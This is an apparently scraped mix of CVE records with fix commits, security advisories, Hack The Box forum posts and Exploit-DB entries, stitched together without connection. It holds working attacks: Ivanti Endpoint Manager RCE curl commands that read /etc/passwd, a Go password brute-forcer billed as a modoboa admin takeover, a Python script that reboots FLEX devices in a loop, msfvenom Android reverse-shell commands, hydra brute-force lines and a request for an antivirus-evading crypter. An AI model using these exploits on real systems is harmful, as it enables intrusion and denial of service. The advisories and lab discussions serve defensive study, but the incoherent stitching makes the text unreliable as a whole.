[{'lang': 'en', 'value': 'Guzzle, an extensible PHP HTTP client. `Authorization` headers on requests are sensitive information. In affected versions when using our Curl handler, it is possible to use the `CURLOPT_HTTPAUTH` option to specify an `Authorization` header. On making a request which responds with a redirect to a URI with a different origin (change in host, scheme or port), if we choose to follow it, we should remove the `CURLOPT_HTTPAUTH` option before continuing, stopping curl from appending the `Authorization` header to the new request. Affected Guzzle 7 users should upgrade to Guzzle 7.4.5 as soon as possible. Affected users using any earlier series of Guzzle should upgrade to Guzzle 6.5.8 or 7.4.5. Note that a partial fix was implemented in Guzzle 7.4.2, where a change in host would trigger removal of the curl-added Authorization header, however this earlier fix did not cover change in scheme or change in port. If you do not require or expect redirects to be followed, one should simply disable redirects all together. Alternatively, one can specify to use the Guzzle steam handler backend, rather than curl.'}]

Fix commit: Release 7.4.5 (#3043)


CVE: CVE-2022-0274

[{'lang': 'en', 'value': 'Cross-site Scripting (XSS) - Stored in NuGet OrchardCore.Application.Cms.Targets prior to 1.2.2.'}]

Fix commit: Fix localization and sanitization usages (#11034)


For the question: Create a “For” loop that encodes the variable “var” 28 times in “base64”. the number of characters in the 28th hash is the value that must be assigned to the “salt” variable. The thing that I overlooked which is important for your script is the point “The NUMBER OF CHARACTERS” in the 28th hash. Your openssl output should look something like the following, with the “HTB” followed by 8 digits being the flag. *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. HTB******** Pseudocode for my for loop (the only part I really needed to change.) for i in range 1 up tp 28 do get the base64 value for var and assign it to a new version of var if i is equal to 28 then get the character count from the current value of var and assign that to salt fi done Good luck


Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE)

# Exploit Title: Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE)
# Date: 20/03/2022
# Exploit Author: d7x
# Vendor Homepage: https://www.ivanti.com/
# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6
# Version: CSA 4.6 4.5 - EOF Aug 2021
# Tested on: Linux x86_64
# CVE : CVE-2021-44529

###
This is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz):
https://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US

Shoutouts to phyr3wall for providing a hint to where the obfuscated code relies

@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
###

# cat /etc/passwd
curl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo

# sleep for 10 seconds
curl -i -s -k -X $'GET' -b $'e=ab; exec=c2xlZXAoMTApOw==; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo


Trying to get to flag4. I uploaded a WAR webshell to Tomcat via manager panel. It will appear in Application endpoints list, but will not execute. It just gives me a 404 error, even though I’ve completely removed all the authorization logic from the backdoor (IP address check). I tried all path variations like: /cmd, /cmd/cmd.jsp?cmd=, but no luck. I used a webshell from Laudanum directory. Am I doing something wrong? Any other ways to get to tomcat’s user shell ?


You need to systematically DIG or transfer EVERY subdomain you find, and pay attention to which DNS server you’re querying when you do it.


CVE: CVE-2021-23567

[{'lang': 'en', 'value': "The package colors after 1.4.0 are vulnerable to Denial of Service (DoS) that was introduced through an infinite loop in the americanFlag module. Unfortunately this appears to have been a purposeful attempt by a maintainer of colors to make the package unusable, other maintainers' controls over this package appear to have been revoked in an attempt to prevent them from fixing the issue. Vulnerable Code js for (let i = 666; i < Infinity; i++;) { Alternative Remediation Suggested * Pin dependancy to 1.4.0"}]

Fix commit: Adds new American flag module


CVE: CVE-2022-0622

[{'lang': 'en', 'value': 'Generation of Error Message Containing Sensitive Information in Packagist snipe/snipe-it prior to 5.3.11.'}]

Fix commit: Added usleep :(

Signed-off-by: snipe <snipe@snipe.net>


modoboa  2.0.4 - Admin TakeOver

/* # Exploit Title: modoboa  2.0.4 - Admin TakeOver
# Description: Authentication Bypass by Primary Weakness
# Date: 02/10/2023
# Software Link: https://github.com/modoboa/modoboa
# Version: modoboa/modoboa prior to 2.0.4
# Tested on: Arch Linux
# Exploit Author: 7h3h4ckv157
# CVE: CVE-2023-0777

*/

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"time"
)

func main() {
	fmt.Println("\n\t*** ADMIN TAKEOVER ***\n")
	host := getInput("Enter the target host: ")
	username := getInput("Enter the Admin's Name: ")
	passwordFile := getInput("Provide the path for Password-Wordlist: ")

	passwords, err := readLines(passwordFile)
	if err != nil {
		fmt.Println("Error reading password file:", err)
		os.Exit(1)
	}

	for _, password := range passwords {
		data := fmt.Sprintf("-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552--\r\n\r\n", username, password)

		headers := map[string]string{
			"Host":           host,
			"User-Agent":     "Anonymous",
			"Accept":         "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
			"Accept-Language": "en-US,en;q=0.5",
			"Accept-Encoding": "gzip, deflate",
			"Content-Type":   "multipart/form-data; boundary=---------------------------25524418606542250161357131552",
		}

		resp, err := postRequest(fmt.Sprintf("https://%s/api/v2/token/", host), headers, data)
		if err != nil {
			fmt.Println("Error sending request:", err)
			os.Exit(1)
		}

		if resp.StatusCode == 200 {
			fmt.Printf("\n\tValid password Found: %s\n", password)
			break
		} else {
			fmt.Printf("Invalid password: %s\n", password)
		}

		// Delay the next request to limit the requests per second
		delay := time.Duration(1000000000/50) * time.Nanosecond
		time.Sleep(delay)
	}
}

// Read the lines from a file and return them as a slice of strings
func readLines(filename string) ([]string, error) {
	content, err := ioutil.ReadFile(filename)
	if err != nil {
		return nil, err
	}
	return strings.Split(string(content), "\n"), nil
}

// Send a POST request with the given headers and data
func postRequest(url string, headers map[string]string, data string) (*http.Response, error) {
	req, err := http.NewRequest("POST", url, strings.NewReader(data))
	if err != nil {
		return nil, err
	}
	for key, value := range headers {
		req.Header.Set(key, value)
	}
	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return nil, err
	}
	return resp, nil
}

// Get user input and return the trimmed value
func getInput(prompt string) string {
	fmt.Print(prompt)
	var input string
	fmt.Scanln(&input)
	return strings.TrimSpace(input)
}


The USB use in question are used to turn an physical part inside of the ignition cylinder. The reason why they are able to drive away with the car too (for all KIA Hyundai models in the usa for an good range of years) is because there is no chip key immobilizer for any of those cars affected by this. (For people that don’t know this, the chip keys are like like using https to surf the web with encryption or verification as an basic example. In actual use, a chip key broadcasts an RFID frequency and the immobilizer has to have the correct key code reading to start the engine and disable security. (The code gets verified by the BCM, TCM, and ECM etc.) I believe (as an logical guess) the update that KIA pushed out recently made the BCM (body control module) check for continuity (for open circuits) on some wires near the ignition cylinder since there is some “fabrication” when performing this “brute force” attack. This is a way they can correct the cars for not having an immobilizer, and prevent starting of the vehicle. (fun fact in Canada the immobilizers are required by law including daytime running-lights but not in the USA.) Hopefully this stops the crimes from occurring. But unless something changed recently there is no app or hacking involved while stealing the cars, just poorly designed parts and cheapness from KIA unfortunately. (to Justin: if the car did not get the update I would recommend going to an aftermarket autoshop to install an aftermarket kill switch hidden to give better security for that vehicle, or potentially get an car that has an immobilizer)


After maybe about a week I was finally able to get this assessment figured out the best hint I can give it to follow what you did with Bill in the previous sections, but you do get a login for g.potter.


FLEX 1080 < 1085 Web 1.6.0 - Denial of Service

# Exploit Title: FLEX 1080 < 1085 Web 1.6.0 - Denial of Service
# Date: 2023-05-06
# Exploit Author: Mr Empy
# Vendor Homepage: https://www.tem.ind.br/
# Software Link: https://www.tem.ind.br/?page=prod-detalhe&id=94
# Version: 1.6.0
# Tested on: Android
# CVE ID: CVE-2022-2591
#!/usr/bin/env python3
import requests
import re
import argparse
from colorama import Fore
import time

def main():
    def banner():
        print('''
            ________    _______  __
           / ____/ /   / ____/ |/ /
          / /_  / /   / __/  |   /
         / __/ / /___/ /___ /   |
        /_/   /_____/_____//_/|_|

[FLEX 1080 < 1085 Web 1.6.0 - Denial of Service]

''')
    def reboot():
        r = requests.get(f'http://{arguments.target}/sistema/flash/reboot')
        if 'Rebooting' in r.text:
            pass
        else:
            print(f'{Fore.LIGHTRED_EX}[-] {Fore.LIGHTWHITE_EX}O hardware
não é vulnerável')
            quit()

    banner()
    print(f'{Fore.LIGHTBLUE_EX}[*] {Fore.LIGHTWHITE_EX} Iniciando o ataque')
    while True:
        try:
            reboot()
            print(f'{Fore.LIGHTGREEN_EX}[+] {Fore.LIGHTWHITE_EX} Hardware
derrubado com sucesso!')
            time.sleep(1)
        except:
#            print(f'{Fore.LIGHTRED_EX}[-] {Fore.LIGHTWHITE_EX}O hardware
está inativo')
            pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-t','--target', action='store', help='Target',
dest='target', required=True)
    arguments = parser.parse_args()
    try:
        main()
    except KeyError:
        quit()


ChakraCore RCE Vulnerability

[Severity: HIGH]

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based)L, aka Chakra Scripting Engine Memory Corruption Vulnerability. This CVE ID is unique from CVE-2020-0812.


The files having the .bak are few and thus running the command below should get you through. find / -type f -name *.bak -exec ls -al {} \; 2>/dev/null TazWake: I would use / because they ask for the whole system and I’d use -iname to make it a case insensitive search (assuming they meant .LOG or .log to count - this could be incorrect). I’d put the *.log in quotes to stop the shell expanding the wildcard before find does.


Hi Bill, Warloxian: web sites telling me my IP has been blocked because of suspicious activity Do you have anonsurf running while this error? Or you are using the tor browser I guess! Websites like youtube, quora often show this message when I use onion-routing things. Overall I am also new to Pentesting, so I did not understand many of your statements like (ring doorbell, Node giving MITM Warning, etc) Apologies for that.


I created this payload and still mot able to move the flag.txt to tmp folder Can you help me on this


I’ve had hackers get into my backdoor more than once and it caused all sort of problems.


using apt list --installed | wc --lines will always give you incorrect answer cause it add a line before printing actual installed packages. using dpkg -l | grep '^ii' will show you the exact count


CVE: CVE-2022-23574

[{'lang': 'en', 'value': "Tensorflow is an Open Source Machine Learning Framework. There is a typo in TensorFlow's `SpecializeType` which results in heap OOB read/write. Due to a typo, `arg` is initialized to the `i`th mutable argument in a loop where the loop index is `j`. Hence it is possible to assign to `arg` from outside the vector of arguments. Since this is a mutable proto value, it allows both read and write to outside of bounds data. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, and TensorFlow 2.6.3, as these are also affected and still in supported range."}]

Fix commit: Fix heap OOB read/write due to incorrect indexing.

PiperOrigin-RevId: 408578046
Change-Id: Ifc9ffea49e5890f55fcb2c27568611052c3ddcfa


Try to use dnsenum with any subdomain that you found on your first subdomain enumeration.


When u complete the first skills, the website brute forcing u get a welcome page saying welcome harry potter and what his password requirements are. The seconds skills assessment follows on from that.


Hello, I’m stuck in Packet Inception, Dissecting Network Traffic With Wireshark. I have to connect to a target machine with Nomachine to launch Wireshark, but I can’t find the target IP. It is not shown in the connection instructions and all the IP I’ve tried in the Wireshark-Lab-2-Resources are not reachable from the Pwnbox. If someone could provide me some help it would be great. Regards,


CVE: CVE-2021-37524

[{'lang': 'en', 'value': 'Cross Site Scripting (XSS) vulnerability in FusionPBX 4.5.26 allows remote unauthenticated users to inject arbitrary web script or HTML via an unsanitized "path" parameter in resources/login.php.'}]

Fix commit: Fix XSS on login page by removing $_REQUEST[path]


CVE: CVE-2022-0832

[{'lang': 'en', 'value': 'Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.3.3.'}]

Fix commit: escaping fields in SERP preview


CVE: CVE-2022-24719

[{'lang': 'en', 'value': 'Fluture-Node is a FP-style HTTP and streaming utils for Node based on Fluture. Using `followRedirects` or `followRedirectsWith` with any of the redirection strategies built into fluture-node 4.0.0 or 4.0.1, paired with a request that includes confidential headers such as Authorization or Cookie, exposes you to a vulnerability where, if the destination server were to redirect the request to a server on a third-party domain, or the same domain over unencrypted HTTP, the headers would be included in the follow-up request and be exposed to the third party, or potential http traffic sniffing. The redirection strategies made available in version 4.0.2 automatically redact confidential headers when a redirect is followed across to another origin. A workaround has been identified by using a custom redirection strategy via the `followRedirectsWith` function. The custom strategy can be based on the new strategies available in fluture-node@4.0.2.'}]

Fix commit: Update redirection strategies to drop confidential headers


CVE: CVE-2022-1806

[{'lang': 'en', 'value': 'Cross-site Scripting (XSS) - Reflected in GitHub repository rtxteam/rtx prior to checkpoint_2022-05-18.'}]

Fix commit: remove some cruft and implement a sanitizer for the client-supplied callback function name


Thanks bro. No I didn’t still Firefox at some stages does not load fully websites, it’s just load and nothing more. I purged it then reinstalled/turned off all plugins , still same problem. I use alternative browser from two days. I remember when my fan was noisy, I turned off or killed some process and it was quite , but it is stopped working after reboot, so am pretty sure I disabled some Firefox process but don’t remember which one … EDIT: now even firefox settings does want to run, I click and nothing opens…


Hello friend! Taking notes for OSCP and HTB can be a game-changer, right? You should definitely check out https://notesonline.com – they’ve got some awesome tips and templates for effective note-taking. Personally, I’ve found that breaking down challenges step by step and using screenshots helps a ton.


CVE: CVE-2022-0238

[{'lang': 'en', 'value': 'phoronix-test-suite is vulnerable to Cross-Site Request Forgery (CSRF)'}]

Fix commit: phoromatic: Additional input sanitization / validation


CVE: CVE-2022-23586

[{'lang': 'en', 'value': 'Tensorflow is an Open Source Machine Learning Framework. A malicious user can cause a denial of service by altering a `SavedModel` such that assertions in `function.cc` would be falsified and crash the Python interpreter. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.'}]

Fix commit: Eliminate `CHECK`-fail from `function.cc`.

PiperOrigin-RevId: 409414744
Change-Id: Ic854e12ab2edb88b165d32e2d632c4ee654d71ad


CVE: CVE-2022-23126

[{'lang': 'en', 'value': 'TeslaMate before 1.25.1 (when using the default Docker configuration) allows attackers to open doors of Tesla vehicles, start Keyless Driving, and interfere with vehicle operation en route. This occurs because an attacker can leverage Grafana login access to obtain a token for Tesla API calls.'}]

Fix commit: Disable anonymous login to Grafana


Solution for the issue Dear Academy members, For anybody still having the NT_STATUS_IO_TIMEOUT issue in the Windows Fundamentals Module, the reason causing your inability to ping/interact with the machine (besides port 3389 ) is the Windows Defender Firewall . In order to fix the issue, you must open the Windows Defender Firewall settings in the target machine. image 675×668 91.1 KB Head into the Turn Windows Defender Firewall on or off section, and turn off the options. Best of luck with your studies! lypd0


I think this box might spawn with slightly different parameters for each person Because || and | always came back as malicious for me, and in Naivenom ’s screenshot, it looks like the command is being executed with sh whereas for me it was using bash. Also I never got anywhere with <<<. I did end up using ${LS_COLORS} and ${PATH}. I think it might be based on IP, as the rules always seemed to stay the same even when I reset the box. Could probably test this with a VPN but I don’t feel like it. If you’ve scrolled down this far you’re probably pretty stuck, here’s what I have to add: johneverist ’s tips are very good. Use them. Number one thing, don’t get stuck thinking you have to use anyone’s exact syntax. As I said, I think this might change person to person. Find the injection point, you’ll know you’re getting close when you get ‘malicious request detected’, but only for certain inputs. There is another spot on the site where this will be returned every time. Do not be fooled. Methodically go through and figure out what syntax is allowed for you, write it down, make a list. Write down exactly what error you get for each string you send through, there could be clues there. Try to get ‘ls’ working, so you can find where the flag.txt is I’d recommend actually using the buttons on the site and just intercepting them with Burp/ZAP, rather than using repeater, so you can actually see the results on the site. It’s slower, but I think I would have missed some things if I was just using repeater. One thing I haven’t seen people mention here is `` these things. They’re pretty cool. Just sayin.


This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.


CVE: CVE-2022-0159

[{'lang': 'en', 'value': "orchardcore is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]

Fix commit: Fix encoding issues (#11008)


I’m also struggling with logging in via SSH. See the screenshot for my attempts and the last one is me pasting the password in to show that it’s the correct password. Screenshot 2023-06-26 141758 1020×803 74.1 KB The instructions for how to connect via SSH (at the bottom of the screenshot) looks to be missing the IP address so I might be using the wrong IP address. Has anyone also had this issue?


CVE: CVE-2022-0407

[{'lang': 'en', 'value': 'Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2.'}]

Fix commit: patch 8.2.4219: reading before the start of the line

Problem:    Reading before the start of the line.
Solution:   Check boundary before trying to read the character.


CVE: CVE-2021-20224

[{'lang': 'en', 'value': "An integer overflow issue was discovered in ImageMagick's ExportIndexQuantum() function in MagickCore/quantum-export.c. Function calls to GetPixelIndex() could result in values outside the range of representable for the 'unsigned char'. When ImageMagick processes a crafted pdf file, this could lead to an undefined behaviour or a crash."}]

Fix commit: https://github.com/ImageMagick/ImageMagick/pull/3083


CVE: CVE-2022-29968

[{'lang': 'en', 'value': 'An issue was discovered in the Linux kernel through 5.17.5. io_rw_init_file in fs/io_uring.c lacks initialization of kiocb->private.'}]

Fix commit: io_uring: fix uninitialized field in rw io_kiocb

io_rw_init_file does not initialize kiocb->private, so when iocb_bio_iopoll
reads kiocb->private it can contain uninitialized data.

Fixes: 3e08773c3841 ("block: switch polling to be bio based")
Signed-off-by: Joseph Ravichandran <jravi@mit.edu>
Signed-off-by: Jens Axboe <axboe@kernel.dk>


Integer overflows in Tensorflow

[Severity: HIGH]

### Impact
The [implementations of `Sparse*Cwise*` ops](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/sparse_dense_binary_op_shared.cc) are vulnerable to integer overflows. These can be used to trigger large allocations (so, OOM based denial of service) or `CHECK`-fails when building new `TensorShape` objects (so, assert failures based denial of service):

```python
import tensorflow as tf
import numpy as np

tf.raw_ops.SparseDenseCwiseDiv(
    sp_indices=np.array([[9]]),
    sp_values=np.array([5]),
    sp_shape=np.array([92233720368., 92233720368]),
    dense=np.array([4]))
```

We are missing some validation on the shapes of the input tensors as well as directly constructing a large `TensorShape` with user-provided dimensions. The latter is an instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197) and is easily fixed by replacing a call to `TensorShape` constructor with a call to `BuildTensorShape` static helper factory.

### Patches
We have patched the issue in GitHub commits [1b54cadd19391b60b6fcccd8d076426f7221d5e8](https://github.com/tensorflow/tensorflow/commit/1b54cadd19391b60b6fcccd8d076426f7221d5e8) and [e952a89b7026b98fe8cbe626514a93ed68b7c510](https://github.com/tensorflow/tensorflow/commit/e952a89b7026b98fe8cbe626514a93ed68b7c510).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.


CVE: CVE-2022-31046

[{'lang': 'en', 'value': 'TYPO3 is an open source web content management system. Prior to versions 7.6.57 ELTS, 8.7.47 ELTS, 9.5.34 ELTS, 10.4.29, and 11.5.11, the export functionality fails to limit the result set to allowed columns of a particular database table. This way, authenticated users can export internal details of database tables they already have access to. TYPO3 versions 7.6.57 ELTS, 8.7.47 ELTS, 9.5.34 ELTS, 10.4.29, 11.5.11 fix the problem described above. In order to address this issue, access to mentioned export functionality is completely denied for regular backend users.'}]

Fix commit: [SECURITY] Restrict export functionality to allowed users

The import functionality of the import/export module is already
restricted to admin users or users, who explicitly have access through
the user TSConfig setting "options.impexp.enableImportForNonAdminUser".

The export functionality has the following security drawbacks:

* Export for editors is not limited on field level
* The "Save to filename" functionality saves to a shared folder, which
  other editors with different access rights may have access to.

Both issues are not easy to resolve and also the target audience for
the Import/Export functionality are mainly TYPO3 admins.

Therefore, now also the export functionality is restricted to TYPO3
admin users and to users, who explicitly have access through the new
user TSConfig setting "options.impexp.enableExportForNonAdminUser".

Additionally, the contents of the temporary "importexport" folder in
file storages is now only visible to users who have access to the
export functionality.

In general, it is recommended to only install the Import/Export
extension when the functionality is required.

Resolves: #94951
Releases: main, 11.5, 10.4
Change-Id: Iae020baf051aeec0613366687aa8ebcbf9b3d8b2
Security-Bulletin: TYPO3-CORE-SA-2022-001
Security-References: CVE-2022-31046
Reviewed-on: https://review.typo3.org/c/Packages/TYPO3.CMS/+/74902
Tested-by: Oliver Hader <oliver.hader@typo3.org>
Reviewed-by: Oliver Hader <oliver.hader@typo3.org>


Hi everyone, loving it so far One thing is troubling me, though. I solved “More Secrets” without solving “Secret Message” first… What did I do wrong? Are we dealing with the same files, or is this first challenge about something completely different, that I missed in my enum? Thanks a lot!


Metasploit: Android Payload not working

Hi, Using Metasploit in parrot os. Tried to generate a payload for my android device (on the same network), app installation is successful but not openning, instead showing a message: image 720×477 85.8 KB Commands I used to generate the file: msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.10.10 lport=8484 -o /home/octothorpe/payload/Hi.apk[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10187 bytes Saved as: /home/user/Hi.apk After: msfconsole use exploit/multi/handler [msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload android/meterpreter/reverse_tcp set lhost myip set lport portnumber exploit -j after hitting enter and typing sessions -i it results: No active sessions.


i was having a similar issue with the question ‘How many files exist on the system that have the “.bak” extension?’ where i kept getting 1 as the answer until i realized i didnt ssh to the target than i got the correct answer of 4


CVE: CVE-2022-32323

[{'lang': 'en', 'value': 'AutoTrace v0.40.0 was discovered to contain a heap overflow via the ReadImage function at input-bmp.c:660.'}]

Fix commit: Merge pull request #72 from lemenkov/misleading_indentation

Misleading indentation


If anyone still has some new nudges or something. Already spending a few days on this module but still not the rsults i was hoping for. At this moment I am working on assessment 1, question 2.


Malware Analysis & Reverse Engineering CTF

Hi, I’m studying Penetration Testing and part of the training obviously focuses on solving CTF challenges. You must be asking yourself how the name of the title is related to PT? Well, it’s probably not that related, but there is a challenge that really caught my attention and I’ve been trying to solve it for a long time without success. The challenge contains a malicious file and the task is to investigate the file and find the FLAG hidden inside the file. So I will detail a bit about the malware and what I was able to understand from the code: Code details: Assembly - Assembly code - Pastebin.com (IDA PRO) What I understood: First of all, this is an executable file for Windows (EXE) and when I run the software in CMD I get an error “An error occurred” and the operation ends. Reading the code through IDA PRO you can see an Environment Variable called GREENIE, in my opinion everything starts here, and if I manage to discover the value of GREENIE I can move forward. It is also possible to notice other generic errors that exist in the software. I know that to solve the challenge, I would have to set up the environment properly and then follow the code, but I would need some direction because I am missing something. I got some guidance from someone who told me to learn about ENDIANNES, with emphasis on LITTLE ENDIAN. I read about it and the differences between BIG ENDIAN and LITTLE ENDIAN, but I couldn’t really understand how it is reflected in the software. I would appreciate and thank anyone who takes the time to help. Download link for the software: https://easyupload.io/ikpzq3 It is important to know that this is software that is detected as MALWARE by Windows Defender, so it is recommended to open it in a virtual system. Thank you!


Metasploit crypter to make FUD file

Hi guys any tools on parrot OS which I can make my apk file FUD? Could be as well in metasploit with am not very familiar but learning.


Yes, I finally got it thanks to your hint! But please enlighten me: netstat -antp | grep -i , as suggested in the course module won’t show that that service exposed on the localhost. What is the correct synthax to use netstat to identify the open port on localhost?


OpenStack Glance v2 API unrestricted path traversal through filesystem:// scheme

[Severity: MEDIUM]

The V2 API in OpenStack Image Registry and Delivery Service (Glance) before 2014.1.4 and 2014.2.x before 2014.2.2 allows remote authenticated users to read or delete arbitrary files via a full pathname in a `filesystem://` URL in the image location property.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-9493.


I can’t get this one after many days. I have created a password list with cupp using the name harry potter with leet mode on. I filtered the passwords to 8 character max, no numbers, no special characters. I created a username list with Harry Potter. hydra -L harry_usernames.txt -P harry.txt -u -f ssh://167.99.89.198:22 -t 4 any ideas?


Anonsurf CLI not responding as expected

When I try to run anonsurf CLI with: sudo anonsurf start It opens a GUI dialog of do you want to Kill ******* Applications, and clicks on the box dont work… On clikcing KILL the computer hangs and freezes the app (terminal)… I think previous interface of anonsurf was good, It asked the (kill…apps) in the CLI mode and works there NO GUI… As the clicks are not working I have to run anonsurf with anonsurf GUI. Please guide me what to do?


Vaadin vulnerable to possible information disclosure of class and method names in RPC response

[Severity: LOW]

### Description
Possible information disclosure in Vaadin 10.0.0 to 10.0.23, 11.0.0 to 14.10.1, 15.0.0 to 22.0.28, 23.0.0 to 23.3.13, 24.0.0 to 24.0.6, 24.1.0.alpha1 to 24.1.0.rc2, resulting in potential information disclosure of class and method names in RPC responses by sending modified requests.

https://vaadin.com/security/cve-2023-25500


If you are genuine learner don’t feel bad . I can help you via some website … These sites have advanced graphical future so you can just learn how much you want to know about hacking … One you got the basics like programming, H/w , commands lets dive to practical section . My selected list have both theory and practical section where you can practice without other platform help . Or also can interact with these site with vpn :-- So don’t think you need a paid platform just go with free that also a hacking skills …The matter hackers doesn’t need other’s help for get anything from web … The site are Here … Learn and all the best ! Cyber:- INE HBT open the wire 4,try hack me 5.portswigger 6.open the wire program:- 1.w3schools.com skills you need 1.python 2.unix/linux 3.network 4.hardware 5.internet thing you need any device have linux or correspondent distributions like parrot , redhat


The ‘<’ characters may be blacklisted by the server, that’s probably why the second payload is not working


[Improper Access Control - Generic] DNS rebinding in --inspect (insufficient fix of CVE-2022-32212 affecting macOS devices)

The fix for CVE-2022-32212, covered the cases for routable IP addresses, however, there exists a specific behavior on macOS devices when handling the `http://0.0.0.0` URL that allows an attacker-controlled DNS server to bypass the DNS rebinding protection by resolving hosts in the `.local` domain.

[Original HackerOne report](https://hackerone.com/reports/1632921)

[Node.js Blog](https://nodejs.org/en/blog/vulnerability/september-2022-security-releases/#dns-rebinding-in-inspect-insufficient-fix-of-cve-2022-32212-affecting-macos-devices-high-cve-2022-32212-cve-2018-7160)

## Impact

Attacker with access to a compromised DNS server or the ability to spoof its responses can gain access to the Node.js debugger, which can result in remote code execution.


It seems like you are participating in a capture-the-flag (CTF) or penetration testing challenge and are trying to find specific flags on a target system.


Hi all ! I started JET Fortress and got 3 first flag. Now im stuck for Bypass Authentication. Im looking for someone who want to help me please.


i am still stuck on the first question of the assessment, which wordlist do i need to use?


stuck on the very last steps. I have literraly everything , the username , the password list , but it doesn’t work. it’s so annoying and not fun Edit: just solved it , it takes literraly more than 20 minutes to bruteforce it with 4 threads. boring. dont waste more time on it : hydra -l [user you found] -P [hint] -u -f ftp://127.0.0.1 -t 4


this hint is the key to the kingdom. Once you determine the vulnerability and can can make the exploit work in gdb (i.e. you get an unprivileged shell), get out of gdb and just run your exploit as an argument to the vulnerable binary–don’t forget to start your listener.


CVE: CVE-2022-27463

[{'lang': 'en', 'value': 'Open redirect vulnerability in objects/login.json.php in WWBN AVideo through 11.6, allows attackers to arbitrarily redirect users from a crafted url to the login page.'}]

Fix commit: Open Redirect fix, thanks Max Boll


You’ve worked a great way! Have you tried sudo apt install firefox ?


CVE: CVE-2022-29529

[{'lang': 'en', 'value': 'An issue was discovered in MISP before 2.4.158. There is stored XSS via the LinOTP login field.'}]

Fix commit: fix: [security] XSS in LinOTP login field fixed

- fixed a stored XSS in the LinOTP login
- also fixed invalid calls to check MISP settings from a javascript scope

- as reported by Dawid Czarnecki of Zigrin Security


With ‘man uname’ you will be able to see your options You can show all info available, or use a simple aproach I used uname -r Don’t forget to write exacted what you were asked for


[Integer Overflow] Integer overflows in unescape_word()

## Summary:
A similiar issue to [CVE-2019-5435](https://hackerone.com/reports/547630)

## Steps To Reproduce:
### analysis
DICT protocol can use one url like "dict://localhost:3306", and  function unescape_word() is used to deal with the character in url like this comment
```c
    /* According to RFC2229 section 2.2, these letters need to be escaped with
       \[letter] */
      if((ch <= 32) || (ch == 127) ||
          (ch == '\'') || (ch == '\"') || (ch == '\\')) {
        dictp[olen++] = '\\';
      }
```

and the bug case here /curl/lib/dict.c

```c
static char *unescape_word(const char *inputbuff)
{
  char *newp = NULL;
  char *dictp;
  size_t len;

  CURLcode result = Curl_urldecode(inputbuff, 0, &newp, &len,          <------------- get len
                                   REJECT_NADA);
  if(!newp || result)
    return NULL;

  dictp = malloc(len*2 + 1);    <------------ overflow here
//.....
}
```

In my analysis(maybe wrong), the `inputbuff` in DICT url is "dict:[inputbuff]", for example "//localhost:3306" in  "dict://localhost:3306", and `len` is the length of `inputbuff`.

And the length of `inputbuff` multiplied by 2 and then passed to malloc. This may lead to a integer overflow on a 32bit OS when the inputbuff is longer than 2GB

`unescape_word` was called by dict_do(), If someone use libcurl to code, and call dict_do() with a extreme long url, it might be triggered.

## Impact

It might leads to a crash or some other impact.


I have a requirement to open ten random files in a directory(its not a single directory, it is multi directory structure.)


